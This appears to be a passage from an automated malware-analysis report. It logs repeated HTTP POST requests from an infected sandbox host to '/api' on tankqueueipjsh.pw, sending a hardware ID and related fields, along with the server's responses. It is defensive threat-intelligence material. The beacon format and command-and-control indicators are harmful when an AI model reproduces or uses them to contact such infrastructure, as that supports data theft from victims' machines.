Dec 6, 2023 14:35:20.433859110 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=md3ui3e9olnlb8o0lj13jhvvem; expires=Sun, 31 Mar 2024 07:21:59 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IM%2F9WxHSib4eJV0bYTuGKcVbHGftrfXl%2BqqABXEpPR%2FbxPLvM2NM%2FYi7EgWShItFkvtgXwfg16fuQjznldPgk5amQ4aQViajih71THcsO2DMc8iD9LhJt7%2BQ3lpMmRyGMpEJtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.433898926 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 35 37 34 66 65 37 33 39 33 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e9574fe7393a-IAD15Malformed packet data
Dec 6, 2023 14:35:20.433913946 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	50223	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:20.538625002 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:20.538914919 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:20.889841080 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=gbein5hci52eftuid06p41rnfj; expires=Sun, 31 Mar 2024 07:21:59 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xksAzhUCRbSpSq%2F7%2B3w7gBKfgxSGUqyG8iAk%2FVetCydE5cOoT3wB1RGAKh52Nq1WMOkYQ7%2F%2FWGEZRwBDrpuwCjqQX3cFPbFs0xruP6acP6Mw9KiN7x0wTGF%2Fj06UGpz%2BUt1G3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Serv Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.889863968 CET	128	IN	Data Raw: 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 35 39 39 64 35 62 30 35 37 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: r: cloudflareCF-RAY: 8314e9599d5b057f-IAD15Malformed packet data
Dec 6, 2023 14:35:20.889879942 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	50224	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:20.993309021 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:20.993860006 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:21.346218109 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1bhl5dfehc0257on8rao7e44fp; expires=Sun, 31 Mar 2024 07:22:00 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kb%2BI%2BzotqEh3nBpkCEq8sqB7AOf4E14X8F7r5ULdQOMW7q9tzhOCd0EF4b%2F3FAPUu%2BZ6P4eynkKmD%2Fdddwi9nYnahewPCl7GdBE2gh7%2BILd96UAbFDbjdIAOe9qyfNJnGnuaog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.346271992 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 35 63 37 65 31 66 33 38 31 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8314e95c7e1f3812-IAD15Malformed packet data
Dec 6, 2023 14:35:21.346369028 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	50225	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:21.454694033 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:21.454925060 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:21.732966900 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=6u6hj8pl4vr6di6gg2duicg8qu; expires=Sun, 31 Mar 2024 07:22:00 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U93iUzwCm%2Fl%2ByRr0rM3vZVVNf3%2F8Yt8IBNcZibgTVNDmVZGrqV1qnn6ehIgrrUOxY6hshBMqTUTxve8dTrxw%2BDCYNGFI6AVdzDp0HjQx7sDqvhRtBR5ybuC3mjlQEmf0Gbd%2BtQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.732997894 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 35 66 35 39 30 31 33 39 38 63 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e95f5901398c-IAD15Malformed packet data
Dec 6, 2023 14:35:21.733103037 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	50226	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:21.832801104 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:21.833118916 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:22.184401035 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vddrn99fr7f9ch3usjai10pc37; expires=Sun, 31 Mar 2024 07:22:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Za898y4WhxNzi4ApihIr6KpZs%2FMGKDI8JeChzHR9nkA4Smlar5OLP2ZyDv9yeGEvn63w38bDdMVw89vvevr73OlMKTje7DIsUqdkaBrCl4WyXW93UZXT4t%2B6wwPulLhBtMtnBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.184438944 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 31 62 39 37 63 38 31 61 35 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e961b97c81a5-IAD15Malformed packet data
Dec 6, 2023 14:35:22.184473038 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	50227	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:22.315332890 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:22.316168070 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:22.568751097 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=jrmvueknilvrgltb2jeo6ssm35; expires=Sun, 31 Mar 2024 07:22:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LVf%2FPlI45iDXeKnhl7vasg4NSH7A8%2FV6KBx8lAjgPMJdTfQUKdozNV3%2B%2BXh4Gv%2F%2BmCHpoUil0zpXodyhczaGrthap87j2fgwAbecwJDvKhKPOpDF8ZvGWRT%2BOY5zWfKbN%2FMZ7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Se Data Raw: Data Ascii:
Dec 6, 2023 14:35:22.568774939 CET	130	IN	Data Raw: 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 34 62 65 62 62 35 38 36 36 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: ver: cloudflareCF-RAY: 8314e964bebb5866-IAD15Malformed packet data
Dec 6, 2023 14:35:22.568788052 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	50228	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:22.668726921 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:22.669420004 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:23.010792971 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=nbnkafkc0h5t2v9te2vad5b8mo; expires=Sun, 31 Mar 2024 07:22:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yDQ4pZt%2BCCq4zTqrNoiy9JO2gKutwblWMY2rqs%2Fg3n9Sdph6Cm%2FTDR8%2BwnjECuJ8UXN8B%2FnX9dEKpH3TuB00YdZDp1SXsLtTqObTTsIuiOhxtMVeoHipWHBQl2BSsCVvCPclrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.010817051 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 36 65 62 62 34 33 62 31 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e966ebb43b18-IAD15Malformed packet data
Dec 6, 2023 14:35:23.010831118 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	50229	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:23.108941078 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:23.109110117 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:23.461707115 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=4kr3ve5mc6ogp2c560e8j6fpe8; expires=Sun, 31 Mar 2024 07:22:02 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=171WssAuemSd8F7jnvDFCCMEmAJ%2FUjwMdP2C9pRt4ahPdfg0di0tirMVefrWWAzO15Xsjk%2FKuL1uldI5sJLK1I1y5aRFVpcSVOEc56laVf5WnETAMYOCEZt88GrpTjWC6ut5HQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:23.461762905 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 36 39 61 63 34 65 30 38 31 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e969ac4e0813-IAD15Malformed packet data
Dec 6, 2023 14:35:23.461800098 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	50230	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:23.561366081 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:23.561754942 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:23.821069956 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=c0g4lademmmama6pgo10vb6fak; expires=Sun, 31 Mar 2024 07:22:02 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wjJXfoUKL1GjtLljYpfGvsf3iRf1uJQllz4SgxE9c58U%2FIRdWqPe8OFoY9KoO%2FQh7G6S8%2Bz5KZw1dbSSAL06Hj2MAV2BVUG4n34VllH2rHupyLnOyaJkrMysxmn8O1D%2F2MwpYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
